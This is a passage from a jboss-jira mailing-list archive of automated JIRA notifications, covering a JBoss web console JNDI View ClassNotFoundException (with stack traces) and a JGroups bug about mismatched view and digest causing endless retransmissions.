        at org.jboss.as.domain.http.server.DmrFailureReadinessFilter.doFilter(DmrFailureReadinessFilter.java:45) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
        at org.jboss.sun.net.httpserver.ServerImpl$Exchange.run(ServerImpl.java:682)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
        at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
        at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final-redhat-1.jar:2.1.0.Final-redhat-1]
Caused by: javax.naming.NamingException: EJBCLIENT000037: Could not load ejb proxy class com.example.IauthRemote [Root exception is java.lang.ClassNotFoundException: com.example.IauthRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\test\jboss-eap-6.1\modu
les,C:\Users\test\jboss-eap-6.1\modules\system\layers\base))]]
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:188)
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:176)
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:147)
        at org.jboss.as.naming.InitialContext.lookup(InitialContext.java:101)
        at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:183)
        at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:179)
        at javax.naming.InitialContext.lookup(InitialContext.java:411) [rt.jar:1.7.0_25]
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:249)
        ... 33 more
Caused by: java.lang.ClassNotFoundException: com.example.IauthRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @
65bb90dc (roots: C:\Users\test\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]
        at org.jboss.modules.ModuleClassLoader.findClass(ModuleClassLoader.java:196) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClassUnchecked(ConcurrentClassLoader.java:444) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClassChecked(ConcurrentClassLoader.java:432) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClass(ConcurrentClassLoader.java:374) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.loadClass(ConcurrentClassLoader.java:119) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at java.lang.Class.forName0(Native Method) [rt.jar:1.7.0_25]
        at java.lang.Class.forName(Class.java:270) [rt.jar:1.7.0_25]
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:186)
        ... 40 more


{code}

The problem occurs in any case if the core.ear is deployed or not.

  was:
JNDI View button in web console doesn't work

To reproduce:

add 
{code:xml}
        <subsystem xmlns="urn:jboss:domain:naming:1.3">
            <bindings>
                <lookup name="java:/ejb/Example" lookup="core/core-ejb/Example!com.example.IauthRemote"/>
            </bindings>
        </subsystem>
{code}
click on jndi view and you'll got the following error:

{code}

15:21:31,128 ERROR [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014612: Operation ("jndi-view") failed - address: ([("subsystem" => "naming")]): java.lang.RuntimeException: javax.naming.NamingExc
eption: EJBCLIENT000037: Could not load ejb proxy class com.example.IauthRemote [Root exception is java.lang.ClassNotFoundException: com.example.IauthRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6
.1\modules\system\layers\base))]]
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:252)
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getInstanceClassName(NamingBindingAdd.java:258)
        at org.jboss.as.naming.ServiceBasedNamingStore.list(ServiceBasedNamingStore.java:175)
        at org.jboss.as.naming.NamingContext.list(NamingContext.java:322)
        at org.jboss.as.naming.NamingContext.list(NamingContext.java:338)
        at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:125)
        at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:139)
        at org.jboss.as.naming.management.JndiViewOperation.access$000(JndiViewOperation.java:49)
        at org.jboss.as.naming.management.JndiViewOperation$1.execute(JndiViewOperation.java:66)
        at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:398) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:388) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.processRequest(DomainApiHandler.java:320) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.doHandle(DomainApiHandler.java:226) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DomainApiHandler.handle(DomainApiHandler.java:233) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.security.SubjectAssociationHandler.handle(SubjectAssociationHandler.java:51) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
        at org.jboss.sun.net.httpserver.AuthFilter.doFilter(AuthFilter.java:69)
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
        at org.jboss.sun.net.httpserver.ServerImpl$Exchange$LinkHandler.handle(ServerImpl.java:710)
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
        at org.jboss.as.domain.http.server.RealmReadinessFilter.doFilter(RealmReadinessFilter.java:47) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.as.domain.http.server.DmrFailureReadinessFilter.doFilter(DmrFailureReadinessFilter.java:45) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
        at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
        at org.jboss.sun.net.httpserver.ServerImpl$Exchange.run(ServerImpl.java:682)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
        at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
        at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final-redhat-1.jar:2.1.0.Final-redhat-1]
Caused by: javax.naming.NamingException: EJBCLIENT000037: Could not load ejb proxy class com.example.IauthRemote [Root exception is java.lang.ClassNotFoundException: com.example.IauthRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modu
les,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]]
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:188)
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:176)
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:147)
        at org.jboss.as.naming.InitialContext.lookup(InitialContext.java:101)
        at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:183)
        at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:179)
        at javax.naming.InitialContext.lookup(InitialContext.java:411) [rt.jar:1.7.0_25]
        at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:249)
        ... 33 more
Caused by: java.lang.ClassNotFoundException: com.example.IauthRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @
65bb90dc (roots: C:\Users\mbazzani\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]
        at org.jboss.modules.ModuleClassLoader.findClass(ModuleClassLoader.java:196) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClassUnchecked(ConcurrentClassLoader.java:444) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClassChecked(ConcurrentClassLoader.java:432) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.performLoadClass(ConcurrentClassLoader.java:374) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at org.jboss.modules.ConcurrentClassLoader.loadClass(ConcurrentClassLoader.java:119) [jboss-modules.jar:1.2.0.Final-redhat-1]
        at java.lang.Class.forName0(Native Method) [rt.jar:1.7.0_25]
        at java.lang.Class.forName(Class.java:270) [rt.jar:1.7.0_25]
        at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:186)
        ... 40 more


{code}

The problem occurs in any case if the core.ear is deployed or not.


    
> Web Console JNDI view classnotfoundexcpetion
> --------------------------------------------
>
>                 Key: JBAS-9547
>                 URL: https://issues.jboss.org/browse/JBAS-9547
>             Project: Application Server 3  4  5 and 6
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: Web Console
>    Affects Versions: 6.1.0
>         Environment: any
>            Reporter: Marco Bazzani
>              Labels: console, jndi
>
> JNDI View button in web console doesn't work
> To reproduce:
> add 
> {code:xml}
>         <subsystem xmlns="urn:jboss:domain:naming:1.3">
>             <bindings>
>                 <lookup name="java:/ejb/Example" lookup="core/core-ejb/Example!com.example.IauthRemote"/>
>             </bindings>
>         </subsystem>
> {code}
> click on jndi view and you'll got the following error:
> {code}
> 15:21:31,128 ERROR [org.jboss.as.controller.management-operation] (HttpManagementService-threads - 2) JBAS014612: Operation ("jndi-view") failed - address: ([("subsystem" => "naming")]): java.lang.RuntimeException: javax.naming.NamingExc
> eption: EJBCLIENT000037: Could not load ejb proxy class com.example.IauthRemote [Root exception is java.lang.ClassNotFoundException: com.example.IauthRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\test\jboss-eap-6.1\modules,C:\Users\test\jboss-eap-6
> .1\modules\system\layers\base))]]
>         at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:252)
>         at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getInstanceClassName(NamingBindingAdd.java:258)
>         at org.jboss.as.naming.ServiceBasedNamingStore.list(ServiceBasedNamingStore.java:175)
>         at org.jboss.as.naming.NamingContext.list(NamingContext.java:322)
>         at org.jboss.as.naming.NamingContext.list(NamingContext.java:338)
>         at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:125)
>         at org.jboss.as.naming.management.JndiViewOperation.addEntries(JndiViewOperation.java:139)
>         at org.jboss.as.naming.management.JndiViewOperation.access$000(JndiViewOperation.java:49)
>         at org.jboss.as.naming.management.JndiViewOperation$1.execute(JndiViewOperation.java:66)
>         at org.jboss.as.controller.AbstractOperationContext.executeStep(AbstractOperationContext.java:440) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.AbstractOperationContext.doCompleteStep(AbstractOperationContext.java:322) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.AbstractOperationContext.completeStepInternal(AbstractOperationContext.java:229) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.AbstractOperationContext.executeOperation(AbstractOperationContext.java:224) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl.internalExecute(ModelControllerImpl.java:194) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl.execute(ModelControllerImpl.java:115) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:398) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.controller.ModelControllerImpl$3.execute(ModelControllerImpl.java:388) [jboss-as-controller-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DomainApiHandler.processRequest(DomainApiHandler.java:320) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DomainApiHandler.doHandle(DomainApiHandler.java:226) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DomainApiHandler.handle(DomainApiHandler.java:233) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.security.SubjectAssociationHandler.handle(SubjectAssociationHandler.java:51) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
>         at org.jboss.sun.net.httpserver.AuthFilter.doFilter(AuthFilter.java:69)
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
>         at org.jboss.sun.net.httpserver.ServerImpl$Exchange$LinkHandler.handle(ServerImpl.java:710)
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:78)
>         at org.jboss.as.domain.http.server.RealmReadinessFilter.doFilter(RealmReadinessFilter.java:47) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.as.domain.http.server.DmrFailureReadinessFilter.doFilter(DmrFailureReadinessFilter.java:45) [jboss-as-domain-http-interface-7.2.0.Final-redhat-8.jar:7.2.0.Final-redhat-8]
>         at org.jboss.com.sun.net.httpserver.Filter$Chain.doFilter(Filter.java:81)
>         at org.jboss.sun.net.httpserver.ServerImpl$Exchange.run(ServerImpl.java:682)
>         at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
>         at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
>         at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
>         at org.jboss.threads.JBossThread.run(JBossThread.java:122) [jboss-threads-2.1.0.Final-redhat-1.jar:2.1.0.Final-redhat-1]
> Caused by: javax.naming.NamingException: EJBCLIENT000037: Could not load ejb proxy class com.example.IauthRemote [Root exception is java.lang.ClassNotFoundException: com.example.IauthRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @65bb90dc (roots: C:\Users\test\jboss-eap-6.1\modu
> les,C:\Users\test\jboss-eap-6.1\modules\system\layers\base))]]
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:188)
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:176)
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.lookup(EjbNamingContext.java:147)
>         at org.jboss.as.naming.InitialContext.lookup(InitialContext.java:101)
>         at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:183)
>         at org.jboss.as.naming.NamingContext.lookup(NamingContext.java:179)
>         at javax.naming.InitialContext.lookup(InitialContext.java:411) [rt.jar:1.7.0_25]
>         at org.jboss.as.naming.subsystem.NamingBindingAdd$2.getReference(NamingBindingAdd.java:249)
>         ... 33 more
> Caused by: java.lang.ClassNotFoundException: com.example.IauthRemote from [Module "org.jboss.as.naming:main" from local module loader @70764922 (finder: local module finder @
> 65bb90dc (roots: C:\Users\test\jboss-eap-6.1\modules,C:\Users\mbazzani\jboss-eap-6.1\modules\system\layers\base))]
>         at org.jboss.modules.ModuleClassLoader.findClass(ModuleClassLoader.java:196) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at org.jboss.modules.ConcurrentClassLoader.performLoadClassUnchecked(ConcurrentClassLoader.java:444) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at org.jboss.modules.ConcurrentClassLoader.performLoadClassChecked(ConcurrentClassLoader.java:432) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at org.jboss.modules.ConcurrentClassLoader.performLoadClass(ConcurrentClassLoader.java:374) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at org.jboss.modules.ConcurrentClassLoader.loadClass(ConcurrentClassLoader.java:119) [jboss-modules.jar:1.2.0.Final-redhat-1]
>         at java.lang.Class.forName0(Native Method) [rt.jar:1.7.0_25]
>         at java.lang.Class.forName(Class.java:270) [rt.jar:1.7.0_25]
>         at org.jboss.ejb.client.naming.ejb.EjbNamingContext.createEjbProxy(EjbNamingContext.java:186)
>         ... 40 more
> {code}
> The problem occurs in any case if the core.ear is deployed or not.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 05:39:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 11 Sep 2013 05:39:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1690) View and digest have to match
In-Reply-To: <JIRA.12500481.1378892303704@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500481.1378892303704@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500481.1378892303704.19933.1378892344067@jira02.app.mwc.hst.phx2.redhat.com>

Bela Ban created JGRP-1690:
------------------------------

             Summary: View and digest have to match
                 Key: JGRP-1690
                 URL: https://issues.jboss.org/browse/JGRP-1690
             Project: JGroups
          Issue Type: Bug
            Reporter: Bela Ban
            Assignee: Bela Ban
             Fix For: 3.4


In some cases a view and a digest are returned, e.g. v2=\{A,B,C\} and digest=[25,10,17]. This means the highest delivered seqno are A=25, B=10 and C=17.

View and digest are returned in
* Responses to a new joiner: JoinRsp
* Merge view installations: GMS$GmsHeader.INSTALL_MERGE_VIEW
* Merge responses: GMS$GmsHeader.MERGE_RSP (to be verified)

However, in some edge cases we could potentially end up with digests which don't match the view, e.g. digest=[25,10]. This would mean that there is no entry for C, and - the way this currently works - the resulting digest would have *a 0 seqno for C* !

The above scenario can happen as follows:
* The view is v1=\{A,B\}. A is the coordinator
* C joins
* A broadcasts v2=\{A,B,C\}.
* A installs v2, but doesn't yet set the digest (NAKACK.setDigest())
* D joins
* Meanwhile, C sent 50 messages and STABLE garbage-collected C at 45
* A creates a new view v3=\{A,B,C,D\}
* A gets the digest from NAKACK: [A,B] and adds D (at 0)
* A sends a JOIN-RSP with v3=\{A,B,C,D\} and digest=[A,B,*C*,D] to D
** *C is 0*. The reason for this is that we create a MutableDigest with v3 with all seqnos being 0. Then we iterate through the digest and set the seqnos. However, since C is not set, its seqno is 0 !
* D installs the JOIN-RSP. It think the seqno for C is 0. The problem now is that when C sends message #51, D will ask it for retransmission of [1-50], but C can't furnish them as it already purged messages 1-45. This leads to endless retransmissions.
* A (belatedly) sets the digest=[A,B,C] for v2 in NAKACK


SOLUTION:
* Make sure (in the coordinator) that view and digest match. E.g. a MutableDigest could initialize all seqnos to -1 and - if after setting all values from the digest retrieved from NAKACK - throw an exception if one of the seqnos is still -1.
** We could retry fetching the digest from NAKACK for a number of tries before giving up
** In the worst case, we wouldn't send a JOIN-RSP to the new joiner, but since the joiner would retry, this is not a problem.
* Alternatively, we could have the client (ClientGmsImpl) check the digest and retry if some of the seqnos are -1.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 05:39:04 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 11 Sep 2013 05:39:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1690) View and digest have to match
In-Reply-To: <JIRA.12500481.1378892303000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500481.1378892303000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500481.1378892303000.19935.1378892344152@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1690?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1690:
---------------------------

    Description: 
In some cases a view and a digest are returned, e.g. v2=\{A,B,C\} and digest=[25,10,17]. This means the highest delivered seqno are A=25, B=10 and C=17.

View and digest are returned in
* Responses to a new joiner: JoinRsp
* Merge view installations: GMS$GmsHeader.INSTALL_MERGE_VIEW
* Merge responses: GMS$GmsHeader.MERGE_RSP (to be verified)

However, in some edge cases we could potentially end up with digests which don't match the view, e.g. digest=[25,10]. This would mean that there is no entry for C, and - the way this currently works - the resulting digest would have *a 0 seqno for C* !

The above scenario can happen as follows:
* The view is v1=\{A,B\}. A is the coordinator
* C joins
* A broadcasts v2=\{A,B,C\}.
* A installs v2, but doesn't yet set the digest (NAKACK.setDigest())
* D joins
* Meanwhile, C sent 50 messages and STABLE garbage-collected C at 45
* A creates a new view v3=\{A,B,C,D\}
* A gets the digest from NAKACK: [A,B] and adds D (at 0)
* A sends a JOIN-RSP with v3=\{A,B,C,D\} and digest=[A,B,*C*,D] to D
** C is 0. The reason for this is that we create a MutableDigest with v3 with all seqnos being 0. Then we iterate through the digest and set the seqnos. However, since C is not set, its seqno is 0 !
* D installs the JOIN-RSP. It think the seqno for C is 0. The problem now is that when C sends message #51, D will ask it for retransmission of [1-50], but C can't furnish them as it already purged messages 1-45. This leads to endless retransmissions.
* A (belatedly) sets the digest=[A,B,C] for v2 in NAKACK


SOLUTION:
* Make sure (in the coordinator) that view and digest match. E.g. a MutableDigest could initialize all seqnos to -1 and - if after setting all values from the digest retrieved from NAKACK - throw an exception if one of the seqnos is still -1.
** We could retry fetching the digest from NAKACK for a number of tries before giving up
** In the worst case, we wouldn't send a JOIN-RSP to the new joiner, but since the joiner would retry, this is not a problem.
* Alternatively, we could have the client (ClientGmsImpl) check the digest and retry if some of the seqnos are -1.

  was:
In some cases a view and a digest are returned, e.g. v2=\{A,B,C\} and digest=[25,10,17]. This means the highest delivered seqno are A=25, B=10 and C=17.

View and digest are returned in
* Responses to a new joiner: JoinRsp
* Merge view installations: GMS$GmsHeader.INSTALL_MERGE_VIEW
* Merge responses: GMS$GmsHeader.MERGE_RSP (to be verified)

However, in some edge cases we could potentially end up with digests which don't match the view, e.g. digest=[25,10]. This would mean that there is no entry for C, and - the way this currently works - the resulting digest would have *a 0 seqno for C* !

The above scenario can happen as follows:
* The view is v1=\{A,B\}. A is the coordinator
* C joins
* A broadcasts v2=\{A,B,C\}.
* A installs v2, but doesn't yet set the digest (NAKACK.setDigest())
* D joins
* Meanwhile, C sent 50 messages and STABLE garbage-collected C at 45
* A creates a new view v3=\{A,B,C,D\}
* A gets the digest from NAKACK: [A,B] and adds D (at 0)
* A sends a JOIN-RSP with v3=\{A,B,C,D\} and digest=[A,B,*C*,D] to D
** *C is 0*. The reason for this is that we create a MutableDigest with v3 with all seqnos being 0. Then we iterate through the digest and set the seqnos. However, since C is not set, its seqno is 0 !
* D installs the JOIN-RSP. It think the seqno for C is 0. The problem now is that when C sends message #51, D will ask it for retransmission of [1-50], but C can't furnish them as it already purged messages 1-45. This leads to endless retransmissions.
* A (belatedly) sets the digest=[A,B,C] for v2 in NAKACK


SOLUTION:
* Make sure (in the coordinator) that view and digest match. E.g. a MutableDigest could initialize all seqnos to -1 and - if after setting all values from the digest retrieved from NAKACK - throw an exception if one of the seqnos is still -1.
** We could retry fetching the digest from NAKACK for a number of tries before giving up
** In the worst case, we wouldn't send a JOIN-RSP to the new joiner, but since the joiner would retry, this is not a problem.
* Alternatively, we could have the client (ClientGmsImpl) check the digest and retry if some of the seqnos are -1.


    
> View and digest have to match
> -----------------------------
>
>                 Key: JGRP-1690
>                 URL: https://issues.jboss.org/browse/JGRP-1690
>             Project: JGroups
>          Issue Type: Bug
>            Reporter: Bela Ban
>            Assignee: Bela Ban
>             Fix For: 3.4
>
>
> In some cases a view and a digest are returned, e.g. v2=\{A,B,C\} and digest=[25,10,17]. This means the highest delivered seqno are A=25, B=10 and C=17.
> View and digest are returned in
> * Responses to a new joiner: JoinRsp
> * Merge view installations: GMS$GmsHeader.INSTALL_MERGE_VIEW
> * Merge responses: GMS$GmsHeader.MERGE_RSP (to be verified)
> However, in some edge cases we could potentially end up with digests which don't match the view, e.g. digest=[25,10]. This would mean that there is no entry for C, and - the way this currently works - the resulting digest would have *a 0 seqno for C* !
> The above scenario can happen as follows:
> * The view is v1=\{A,B\}. A is the coordinator
> * C joins
> * A broadcasts v2=\{A,B,C\}.
> * A installs v2, but doesn't yet set the digest (NAKACK.setDigest())
> * D joins
> * Meanwhile, C sent 50 messages and STABLE garbage-collected C at 45
> * A creates a new view v3=\{A,B,C,D\}
> * A gets the digest from NAKACK: [A,B] and adds D (at 0)
> * A sends a JOIN-RSP with v3=\{A,B,C,D\} and digest=[A,B,*C*,D] to D
> ** C is 0. The reason for this is that we create a MutableDigest with v3 with all seqnos being 0. Then we iterate through the digest and set the seqnos. However, since C is not set, its seqno is 0 !
> * D installs the JOIN-RSP. It think the seqno for C is 0. The problem now is that when C sends message #51, D will ask it for retransmission of [1-50], but C can't furnish them as it already purged messages 1-45. This leads to endless retransmissions.
> * A (belatedly) sets the digest=[A,B,C] for v2 in NAKACK
> SOLUTION:
> * Make sure (in the coordinator) that view and digest match. E.g. a MutableDigest could initialize all seqnos to -1 and - if after setting all values from the digest retrieved from NAKACK - throw an exception if one of the seqnos is still -1.
> ** We could retry fetching the digest from NAKACK for a number of tries before giving up
> ** In the worst case, we wouldn't send a JOIN-RSP to the new joiner, but since the joiner would retry, this is not a problem.
> * Alternatively, we could have the client (ClientGmsImpl) check the digest and retry if some of the seqnos are -1.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Wed Sep 11 05:41:03 2013
From: jira-events at lists.jboss.org (Bela Ban (JIRA))
Date: Wed, 11 Sep 2013 05:41:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1690) View and digest have to match
In-Reply-To: <JIRA.12500481.1378892303000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500481.1378892303000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500481.1378892303000.19939.1378892463489@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JGRP-1690?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bela Ban updated JGRP-1690:
---------------------------

    Description: 
In some cases a view and a digest are returned, e.g. v2=\{A,B,C\} and digest=[25,10,17]. This means the highest delivered seqno are A=25, B=10 and C=17.

View and digest are returned in
* Responses to a new joiner: JoinRsp
* Merge view installations: GMS$GmsHeader.INSTALL_MERGE_VIEW
* Merge responses: GMS$GmsHeader.MERGE_RSP (to be verified)

However, in some edge cases we could potentially end up with digests which don't match the view, e.g. digest=[25,10]. This would mean that there is no entry for C, and - the way this currently works - the resulting digest would have *a 0 seqno for C* !

The above scenario can happen as follows:
* The view is v1=\{A,B\}. A is the coordinator
* C joins
* A broadcasts v2=\{A,B,C\}.
* A installs v2, but doesn't yet set the digest (NAKACK.setDigest())
* D joins
* Meanwhile, C sent 50 messages and STABLE garbage-collected C at 45
* A creates a new view v3=\{A,B,C,D\}
* A gets the digest from NAKACK: [A,B] and adds D (at 0)
